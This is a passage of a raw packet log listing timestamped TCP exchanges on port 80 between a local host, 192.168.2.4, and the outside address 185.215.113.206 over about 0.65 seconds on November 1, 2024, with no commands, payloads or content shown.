Nov 1, 2024 05:52:30.038099051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038110971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038121939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038151026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038166046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038187981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038198948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038208961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038230896 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038239002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038249969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038252115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038260937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038273096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.038275003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038296938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.038304090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.159977913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160027981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160038948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160047054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.160053015 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160064936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160068989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.160077095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160079002 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.160089016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160100937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.160101891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.160130024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.160140991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.193572998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193625927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.193888903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193898916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193909883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193922043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193928957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.193933010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193945885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193952084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.193958044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193969011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.193978071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.193993092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194010973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194010973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194022894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194032907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194047928 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194056034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194078922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194168091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194179058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194188118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194211960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194231033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194292068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194328070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194359064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194396019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194456100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194467068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194492102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194502115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194504023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194516897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194526911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194526911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194544077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194554090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194576025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194597006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.194972038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194983006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.194993019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.195009947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.195020914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.195039034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.195063114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283222914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283243895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283256054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283267975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283279896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283294916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283318043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283354998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283377886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283387899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283417940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283443928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283444881 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283454895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.283480883 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.283493042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.316951990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.316970110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.316982031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317050934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317101955 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317141056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317152023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317163944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317174911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317183018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317187071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317203999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317222118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317228079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317246914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317256927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317285061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317375898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317387104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317399025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317413092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317416906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317426920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317446947 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317619085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317631006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317641973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317666054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317677975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317703009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317715883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317749023 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.317981005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.317992926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318003893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318032026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318042994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318134069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318150997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318162918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318173885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318177938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318186045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318187952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318212986 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318491936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318507910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.318540096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.318552017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406639099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406727076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406743050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406742096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406759024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406770945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406771898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406780005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406794071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406797886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406806946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406819105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.406821966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406829119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.406847954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443367004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443428993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443525076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443536997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443547010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443557978 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443568945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443568945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443581104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443591118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443597078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443603039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443614960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443615913 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443629026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443629980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443655968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443674088 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443677902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443686008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443696976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443706989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443717957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443722010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443730116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443741083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443749905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443753958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443758965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443767071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443777084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443778038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443789959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443799973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443802118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443813086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443824053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443825006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443835974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443840027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443846941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443859100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443869114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443871021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443883896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.443891048 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443902969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.443922997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.482515097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.482526064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.482578993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530014992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530025959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530055046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530065060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530075073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530076027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530090094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530116081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530142069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530153990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530164957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530174971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.530191898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.530215025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.563806057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563827991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563841105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563853025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563863993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563874960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563899040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563915968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563925982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563930035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.563939095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563951015 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.563961983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564023972 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564090967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564328909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564338923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564378977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564429045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564439058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564450026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564460993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564470053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564476013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564490080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564518929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564783096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564795017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564805984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564829111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564841032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564881086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564894915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564915895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564924955 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.564927101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564939976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564944983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564949989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.564953089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.565010071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.645333052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.645350933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.645368099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.645376921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.645390034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.645420074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653353930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653368950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653390884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653402090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653403044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653414011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653434038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653458118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653467894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653479099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653490067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.653502941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653513908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.653532982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.686820030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686888933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.686914921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686933041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686950922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686953068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.686964989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.686966896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686980963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.686991930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687011957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687032938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687108994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687120914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687130928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687146902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687159061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687176943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687318087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687330961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687342882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687367916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687381029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687448025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687459946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687470913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687495947 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687506914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687519073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687555075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687710047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687721968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687760115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687769890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687783957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687802076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687813044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687822104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687834978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687854052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687911987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687923908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687935114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687947035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687956095 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687958956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.687973976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.687999010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.688344955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.688357115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.688366890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.688391924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:30.688396931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:30.688404083 CET	80	49760	185.215.113.206	192.168.2.4
